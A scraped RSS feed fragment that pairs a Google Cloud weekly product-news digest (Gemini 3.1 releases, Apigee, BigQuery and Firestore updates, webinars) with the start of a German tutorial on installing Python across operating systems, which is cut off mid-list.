<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tutorial: Python richtig installieren]]></title>
<description><![CDATA[Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.
					Foto: Flegere – shutterstock.com




Mit der einsteiger- und benutzerfreundlichen Programmiers...]]></description>
<link>https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662673/it-security-nachrichten/tutorial-python-richtig-installieren/</guid>
<pubDate>Sun, 12 Jul 2026 05:09:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." title="Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten." src="https://images.computerwoche.de/bdb/3284280/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Python gilt als Shooting Star unter den Programmiersprachen. Wir sagen Ihnen, wie Sie die Installation unter Windows, Linux und MacOS reibungslos bewerkstelligen und was Sie dabei beachten sollten.</p></figcaption></figure><p class="imageCredit">
					Foto: Flegere – shutterstock.com</p></div>




<p>Mit der einsteiger- und benutzerfreundlichen Programmiersprache <a title="Python" href="https://www.computerwoche.de/article/2815440/die-zukunft-der-python-webentwicklung.html" target="_blank">Python</a> können Sie nahezu jede erdenkliche <a title="Applikation coden" href="https://www.computerwoche.de/article/2805928/die-besten-profiler.html" target="_blank">Applikation coden</a>. Aber es ist eben auch nur eine Software wie jede andere – Installation und Management können mitunter komplex ausfallen. Wir verraten Ihnen, wie Sie <a title="Python" href="https://www.computerwoche.de/article/2762025/python-lernen-leicht-gemacht.html" target="_blank">Python</a> aufsetzen, die richtige Version für Ihre Zwecke ermitteln und mögliche Fallstricke bei der Installation unter <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a>, <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank">Linux</a> und MacOS vermeiden.</p>



<h2 class="wp-block-heading">Die richtige Python-Version ermitteln</h2>



<p>Um die Kompatibilität mit Drittanbieter-Modulen gewährleisten zu können, sollten Sie nicht auf die neueste Python-Version setzen. Stattdessen empfiehlt sich die letzte große Versionierung. Aktuell (Stand: Juni 2026) ist Python 3.14.6 die neueste Version. Um sicherzugehen, dass alles läuft, sollten Sie sich also für die letzte Revision von Python 3.13 entscheiden. Natürlich können Sie die neueste Python-Version jederzeit in einer geschützten Umgebung – etwa einer <a title="virtuellen Maschine" href="https://www.computerwoche.de/article/2814705/was-sind-virtual-machines.html" target="_blank">virtuellen Maschine</a> – austesten.</p>



<p>Von Python existieren darüber hinaus auch <a href="https://www.computerwoche.de/article/2827828/10-python-distributionen-im-ueberblick.html" title="verschiedene Distributionen" target="_blank">verschiedene Distributionen</a> – ganz ähnlich wie das <a href="https://www.computerwoche.de/article/2744146/die-linux-geschichte.html" title="bei Linux" target="_blank">bei Linux</a> der Fall ist. Allerdings ist die Programmiersprache, im Gegensatz zu <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>, auch in einer offiziellen Version erhältlich, die Sie als Fallback-Option nutzen können: CPython wird von der Python Software Foundation <a href="https://www.python.org/" title="zur Verfügung gestellt" target="_blank" rel="noopener">zur Verfügung gestellt</a> und ist die sicherste und kompatibelste Distribution. Mit anderen Python-Distributionen für spezifische Use Cases können Sie zu einem späteren Zeitpunkt jederzeit experimentieren.</p>



<p>Ein wesentlicher Punkt bei der Wahl der Python-Distribution – insbesondere unter Windows – ist die Entscheidung zwischen der 32-Bit- und der 64-Bit-Version. Sehr wahrscheinlich werden Sie sich für letztere entscheiden, denn:</p>



<ul class="wp-block-list">
<li><p>die meisten modernen Betriebssysteme arbeiten standardmäßig mit der 64-Bit-Version von Python. Windows-Nutzer können die 32-Bit-Versionen der <a title="Coding-Sprache" href="https://www.computerwoche.de/article/2813209/11-wege-ihre-softwareentwicklung-neu-zu-definieren.html" target="_blank">Coding-Sprache</a> auch mit einem 64-Bit-Windows betreiben, müssen sich aber auf leichte Performance-Einbußen einstellen.</p></li>



<li><p>32-Bit-Applikationen – auch Python – können zeitgleich auf maximal 4 GB Arbeitsspeicher zugreifen. Dieses Limit kennen 64-Bit-Apps nicht. Hinzu kommt, dass viele Datenanalyse- und Machine-Learning-Tools innerhalb einer 64-bit-Umgebung am besten laufen.</p></li>
</ul>



<p>Für die 32-Bit-Version von Python sollten Sie sich lediglich dann entscheiden, wenn Sie auch ein 32-Bit-Windows oder ein Drittanbieter-Modul nutzen (müssen), welches lediglich als 32-Bit-Version vorliegt.</p>



<h2 class="wp-block-heading">Python unter Windows installieren</h2>



<p>Wie bei nahezu jeder Applikation unter Windows läuft auch die Installation von Python über einen Installer ab, der Sie durch den Setup-Prozess geleitet. Standardmäßig legt der Python-Installer .exe-Dateien unter Windows im App-Data-Verzeichnis des jeweiligen Nutzers ab – so dass keine Administratorrechte für die Installation benötigt werden.</p>



<p><strong>Den richtige Python Installer für Windows finden</strong></p>



<p><a title="Python.org" href="https://www.python.org/downloads/windows/" target="_blank" rel="noopener">Python.org</a> stellt mehrere verschiedene <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a> Installer zur Verfügung. Neben der 32-Bit- (x86) und der 64-Bit-Version (x86-64) auch eine Version für Windows-ARM-Systeme, ein embeddable Zip File, eine .exe-Datei sowie einen webbasierten Installer. Diese unterscheiden sich wie folgt:</p>



<ul class="wp-block-list">
<li><p>Der .<strong>exe Installer</strong> ist lediglich eine ausführbare Datei, die den Installationsprozess von Python startet – das ist die gängigste und simpelste Lösung.</p></li>



<li><p>Der <strong>webbasierte Installer</strong> ist im Grunde identisch zu seinem .exe-Pendant, mit dem Unterschied, dass es die Dateien, die für die Installation nötig sind, separat herunterlädt. Dadurch reduziert sich die Größe des Installers drastisch, allerdings ist eine Netzwerkverbindung zwingend erforderlich.</p></li>



<li><p>Das <strong>embeddable Zip File</strong> ist eine in sich geschlossene, auf das Minimum reduzierte Kopie der <a title="Python-Laufzeitumgebung" href="https://www.computerwoche.de/article/2816760/der-bessere-weg-python-zu-kompilieren.html" target="_blank">Python-Laufzeitumgebung</a>. Das ist nützlich, wenn Sie eine Python-Applikation manuell verteilen oder schnell etwas testen wollen. Allerdings enthält dieser Installer keines der nützlichen Tools, die die anderen Versionen an Bord haben.</p></li>
</ul>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p><strong>Python mit einem Package Manager unter Windows installieren</strong></p>



<p>Eine weitere Option unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> ist die Nutzung des betriebssystemeigenen Package-Management-Systems NuGet. Der Package Manager für .NET hat auch <a href="https://www.nuget.org/packages/python/" title="Python im Angebot" target="_blank" rel="noopener">Python im Angebot</a>, allerdings als Komponente für .NET-Applikationen und nicht, um als Installer für eine Standalone-Version von Python zum Einsatz zu kommen. Das Management Ihrer Python-Instanz dürfte sich deshalb mit einer regulären Installation einfacher gestalten.</p>



<p>Auch das <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> Package Management System Chocolatey <a href="https://chocolatey.org/packages/python/3.8.2" title="stellt Python zur Verfügung" target="_blank" rel="noopener">stellt Python zur Verfügung</a>. Das ist im Vergleich zu NuGet in der Regel die bessere Option, weil Ihr System dabei auf eine vorhandene Python-Laufzeitumgebung überprüft wird. Allerdings sollten Sie vermeiden, reguläre Installationen und solche mit Chocolatey auf einem System zu vermischen.</p>



<h2 class="wp-block-heading">Python unter Linux installieren</h2>



<p>Weil <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Distributionen teilweise erhebliche Unterschiede aufweisen, sollten Sie bei der Installation von Python unter dem <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Betriebssystem auch auf den Package Manager der jeweiligen Distribution zurückgreifen. Die Vorgehensweise bei der Installation unterscheidet sich beispielsweise im Fall von <a href="https://docs.python-guide.org/starting/install3/linux/" title="Ubuntu" target="_blank" rel="noopener">Ubuntu</a> und <a href="https://developer.fedoraproject.org/tech/languages/python/multiple-pythons.html" title="Fedora" target="_blank" rel="noopener">Fedora</a> grundlegend. Das Installations-Zielverzeichnis orientiert sich dabei im Regelfall an der Python-Versionsnummer (<em>/usr/bin/python3.x</em>).</p>



<p>Ein Weg, die Komplexität im Umgang mit <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Package-Managern zu umgehen ist die Nutzung einer Container-basierten Python-Laufzeitumgebung. <a href="https://www.computerwoche.de/article/2786849/7-security-tools-fuer-docker-und-kubernetes.html" title="Container" target="_blank">Container</a> sind vom Rest des Systems isoliert – Sie müssen sich also auch keine Gedanken darüber machen, dass unterschiedliche Python-Laufzeitumgebungen Konflikte verursachen. Falls Sie keine Erfahrungen im Umgang mit Containern haben, müssen Sie allerdings ein wenig Zeit und Mühe einplanen, um sich <a href="https://www.infoworld.com/article/2176798/docker-tutorial-get-started-with-docker.html" title="mit der Materie vertraut zu machen" target="_blank">mit der Materie vertraut zu machen</a>. </p>



<p>Das Tool <a href="https://asdf-vm.com/#/" title="asdf-vm" target="_blank" rel="noopener">asdf-vm</a> ist hilfreich, um mehrere Python-Laufzeitumgebungen auf <a href="https://www.computerwoche.de/article/2795308/pentester-software-statt-betriebssystem.html" title="Unix-basierten Systemen" target="_blank">Unix-basierten Systemen</a> (<a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS) zu managen. Dabei beschränkt sich das Tool nicht auf Python: auch mehrere Laufzeitumgebungen für Node.js, Ruby, Elixir und viele weitere Programmiersprachen können mit asdf-vm unter einen Hut gebracht werden.</p>



<h2 class="wp-block-heading">Python unter MacOS installieren</h2>



<p>Apples MacOS wurde lange mit einer vorinstallierten Python-Version ausgeliefert – allerdings kam dabei keine Version zum Einsatz, die neuer als 2.7 war. Das führte mit der Veröffentlichung von Python 3.0 des Öfteren zu Problemen beziehungsweise Konflikten. Die <a href="https://docs.python.org/3/using/mac.html" title="offizielle Python-Dokumentation" target="_blank" rel="noopener">offizielle Python-Dokumentation</a> geht am Rande auf dieses Problem ein, stellt als Lösungsansatz allerdings nur die Empfehlung bereit, den richtigen Pfad für die entsprechende Python-Instanz zu wählen.</p>



<p>Die Nutzung des <a href="https://www.infoworld.com/article/2258320/homebrew-tutorial-how-to-use-homebrew-for-macos.html" title="Homebrew Package Managers" target="_blank">Homebrew Package Managers</a> stellt einen gängigen Weg dar, um Python-Laufzeitumgebungen unter MacOS zu managen. Dieser stellt ein konsistentes Interface für Download, (De-)Installation und Management von Python zur Verfügung. </p>



<h2 class="wp-block-heading">Python Packages installieren</h2>



<p>Wenn Sie die Grundinstallation von Python abgeschlossen haben, sollten Sie im nächsten Schritt nicht direkt mit Pip (der Python Package Manager) die Packages installieren – selbst, wenn Sie Python nur für ein einzelnes Projekt nutzen wollen. Stattdessen empfiehlt es sich, virtuelle Python-Umgebungen aufzusetzen und die Packages innerhalb dieser Umgebungen zu installieren. So bleibt die Basis-Installation “clean”.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>Eine Vielzahl von Projekten mit virtuellen Umgebungen zu managen, kann sich anspruchsvoll gestalten. Hier empfiehlt sich ein Blick auf das <a href="https://www.infoworld.com/article/3527850/better-python-project-management-with-poetry.html" title="Kommandozeilen-Tool Poetry" target="_blank">Kommandozeilen-Tool Poetry</a>.</p>



<h2 class="wp-block-heading">Mehrere Python-Versionen parallel installieren</h2>



<p>Richtig knifflig wird es, wenn mehrere verschiedene Versionen der <a href="https://www.computerwoche.de/article/2779444/eine-kleine-geschichte-der-programmiersprachen.html" title="Programmiersprache" target="_blank">Programmiersprache</a> parallel installiert werden sollen. Hier sollten Sie insbesondere zwei Dinge beachten:</p>



<ul class="wp-block-list">
<li><p>Installieren Sie jede Python-Version immer in <strong>einem eigenen Verzeichnis</strong>.</p></li>



<li><p>Stellen Sie sicher, dass die Systempfade <strong>zuerst auf die Python-Version verweisen</strong>, die standardmäßig zum Einsatz kommen soll.</p></li>
</ul>



<p>Die Einrichtung virtueller Umgebungen für jedes einzelne Projekt ist wärmstens zu empfehlen, wenn unterschiedliche Python-Versionen parallel zum Einsatz kommen sollen: So stellen Sie sicher, dass bei Aktivierung der entsprechenden virtuellen Umgebung immer automatisch die richtige Version der Coding-Sprache zum Einsatz kommt. Windows-Nutzern steht in diesem Zusammenhang mit der Py Launcher App eine weitere Option zur Verfügung. Diese kann im Rahmen des Installationsprozesses hinzugefügt werden und ermöglicht Ihnen, über Kommandozeilen-Flags auszuwählen, welche Python-Version für das jeweilige Script zum Einsatz kommen soll.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p><strong>Mehrere Python-Versionen unter Windows managen</strong></p>



<p>Bislang war es nicht wirklich möglich, unter Windows installierte Python-Versionen zu managen. Das ändert sich ab Version 3.14 mit einem Tool, das das Python-Kernteam neu entwickelt hat. Der <a href="https://peps.python.org/pep-0773" target="_blank" rel="noreferrer noopener">Python Installation Manager for Windows</a> ist soll künftig das Mittel der Wahl darstellen, um Installationen unter Windows zu verwalten. Weil der neue Installation Manager selbst nur eine normale Windows-App ist, gibt es mehrere Möglichkeiten, diesen zu installieren. Das funktioniert über:  </p>



<ul class="wp-block-list">
<li>den <a href="https://apps.microsoft.com/detail/9nq7512cxl7t?hl=en-US&amp;gl=US" target="_blank" rel="noreferrer noopener">Microsoft Store</a>,</li>



<li>die offizielle Python-Website per <a href="https://www.python.org/downloads/release/pymanager-250b9/" target="_blank" rel="noreferrer noopener">Direkt-Download</a>, oder</li>



